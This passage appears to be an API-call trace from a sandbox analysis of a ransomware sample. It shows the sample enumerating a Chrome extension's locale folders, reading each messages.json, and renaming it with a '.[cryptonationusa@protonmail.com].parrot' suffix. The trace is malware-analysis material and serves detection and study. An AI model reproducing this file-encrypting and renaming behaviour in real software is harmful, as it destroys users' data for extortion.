Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0069.872] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0330 | out: hHeap=0x5b0000) returned 1 [0069.872] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x691f80 | out: hHeap=0x5b0000) returned 1 [0069.872] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0069.876] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0069.876] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb71ffd80, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb71ffd80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.876] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x851f1e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb71ffd80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0069.876] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0069.879] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0069.879] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85217f70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85217f70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.879] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0069.879] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0069.879] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85218f10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0069.879] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1cb, nNumberOfBytesToLockHigh=0x0) returned 1 [0069.879] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0069.879] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0069.880] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.880] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xb3, lpOverlapped=0x0) returned 1 [0069.880] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.881] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1cb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0069.881] CloseHandle (hObject=0x1fc) returned 1 [0069.881] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0069.882] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0330 | out: hHeap=0x5b0000) returned 1 [0069.882] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x691f80 | out: hHeap=0x5b0000) returned 1 [0069.882] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0069.883] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0069.883] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7225ee0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7225ee0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.883] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85218f10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb7225ee0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0069.883] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0069.883] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0069.883] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85217f70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85217f70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.883] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0069.883] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0069.883] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85218f10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0069.884] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1cb, nNumberOfBytesToLockHigh=0x0) returned 1 [0069.884] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0069.884] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0069.885] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.885] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xb3, lpOverlapped=0x0) returned 1 [0069.885] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.885] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1cb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0069.885] CloseHandle (hObject=0x1fc) returned 1 [0069.885] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0069.886] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0330 | out: hHeap=0x5b0000) returned 1 [0069.886] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x691f80 | out: hHeap=0x5b0000) returned 1 [0069.886] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0069.887] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0069.887] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7225ee0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7225ee0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.887] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85218f10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb7225ee0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0069.887] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0069.890] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0069.890] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85217f70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85217f70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.890] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0069.890] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0069.890] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85218f10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0069.890] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1cb, nNumberOfBytesToLockHigh=0x0) returned 1 [0069.890] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0069.890] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0069.891] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.891] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xb3, lpOverlapped=0x0) returned 1 [0069.891] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.892] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1cb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0069.892] CloseHandle (hObject=0x1fc) returned 1 [0069.892] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0069.892] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0330 | out: hHeap=0x5b0000) returned 1 [0069.892] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x691f80 | out: hHeap=0x5b0000) returned 1 [0069.892] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0069.894] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0069.894] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb724c040, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb724c040, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.894] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85218f10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb724c040, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0069.894] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0069.894] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0069.894] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85217f70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85217f70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.894] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0069.894] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0069.894] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85218f10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0069.894] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1cb, nNumberOfBytesToLockHigh=0x0) returned 1 [0069.894] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0069.894] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0069.895] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.896] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xb3, lpOverlapped=0x0) returned 1 [0069.896] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.896] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1cb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0069.896] CloseHandle (hObject=0x1fc) returned 1 [0069.896] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0069.897] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0330 | out: hHeap=0x5b0000) returned 1 [0069.897] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x691f80 | out: hHeap=0x5b0000) returned 1 [0069.897] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0069.898] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\el\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0069.898] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb724c040, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb724c040, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.898] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85218f10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb724c040, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0069.898] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: 